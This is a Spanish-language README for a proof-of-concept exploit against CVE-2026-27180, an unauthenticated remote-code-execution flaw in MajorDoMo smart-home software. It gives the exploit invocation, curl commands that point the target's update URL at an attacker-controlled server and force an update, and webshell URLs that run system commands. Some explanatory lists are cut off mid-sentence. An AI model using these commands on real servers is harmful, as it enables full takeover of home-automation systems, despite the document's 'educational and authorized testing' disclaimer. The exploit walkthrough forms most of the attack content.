
Prueba de concepto del exploit para CVE-2026-27180, una RCE no autenticada en MajorDoMo mediante envenenamiento de la URL de actualización, que entrega una webshell en la raíz web.
Ejecución Remota de Código sin Autenticación mediante Envenenamiento de URL de Actualización en MajorDoMo
CWE-494 – Descarga de Código sin Verificación de Integridad
Impacto: Compromiso total del servidor mediante webshell colocada en la raíz web
Autenticación requerida: Ninguna
Parche: PR #1177
Este repositorio contiene un exploit de prueba de concepto para – una vulnerabilidad crítica de ejecución remota de código sin autenticación en el software de automatización del hogar inteligente .
Un atacante puede:
La vulnerabilidad existe porque:
auto_update_settings y force_updateCURLOPT_SSL_VERIFYPEER = false)poc.php).htaccess opcional para forzar la ejecución de PHPgit clone https://github.com/YOUR-USERNAME/majordomo-cve-2026-27180-exploit.git
cd majordomo-cve-2026-27180-exploit
# No se necesita pip install – solo usa la biblioteca estándar + argparse
graph TD
A["Attacker starts malicious HTTP server\nserving /master.xml + /archive/master.tar.gz"] --> B["Attacker poisons update URL\nvia GET /objects/?module=saverestore&mode=auto_update_settings\n&set_update_url=http://attacker:8080"]
B --> C["Attacker triggers update\nGET /objects/?module=saverestore&mode=force_update"]
C --> D["MajorDoMo fetches poisoned Atom feed"]
D --> E["Downloads malicious master.tar.gz\n(CURLOPT_SSL_VERIFYPEER=false)"]
E --> F["Extracts tar.gz with tar xzvf ..."]
F --> G["copyTree() copies files recursively\n→ poc.php & .htaccess land in web root"]
G --> H["Attacker accesses webshell\nhttp://target/poc.php?pass=ChangeMe123&cmd=id"]
style A fill:#f9d5e5,stroke:#333,stroke-width:2px
style H fill:#c3e6cb,stroke:#333,stroke-width:2pxInicie el servidor malicioso:
python3 exploit.py http://192.168.1.50:80 --lhost 192.168.1.100 --lport 8080
Después de que el servidor se inicie, ejecute estos comandos contra el objetivo:
# 1. Envenenar la fuente de actualización
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://192.168.1.100:8080'
# 2. Activar la actualización forzada
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=force_update'
Espere de 10 a 90 segundos y luego pruebe la webshell:
# Ejemplos:
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=id
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=whoami
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=uname%20-a
Este código se proporciona estrictamente con fines educativos, pruebas de seguridad autorizadas y actividades de red team.
Licencia MIT
Copyright © 2026 Mohammed Idrees Banyamer
Por la presente se concede permiso, de forma gratuita, a cualquier persona que obtenga una copia de este software y de los archivos de documentación asociados (el "Software"), para tratar el Software sin restricción, incluidos, sin limitación, los derechos de usar, copiar, modificar, fusionar, publicar, distribuir, sublicenciar y/o vender copias del Software, y para permitir a las personas a quienes se les proporcione el Software hacer lo mismo, sujeto a las siguientes condiciones:
El aviso de copyright anterior y este aviso de permiso deberán incluirse en todas las copias o partes sustanciales del Software.
EL SOFTWARE SE PROPORCIONA "TAL CUAL", SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O IMPLÍCITA, INCLUIDAS, ENTRE OTRAS, LAS GARANTÍAS DE COMERCIABILIDAD, IDONEIDAD PARA UN FIN PARTICULAR Y NO INFRACCIÓN. EN NINGÚN CASO LOS AUTORES O TITULARES DE LOS DERECHOS DE AUTOR SERÁN RESPONSABLES DE CUALQUIER RECLAMO, DAÑO U OTRA RESPONSABILIDAD, YA SEA EN UNA ACCIÓN DE CONTRATO, AGRAVIO O DE OTRO MODO, QUE SURJA DE, O EN CONEXIÓN CON, EL SOFTWARE O EL USO U OTRO TIPO DE ACCIONES EN EL SOFTWARE.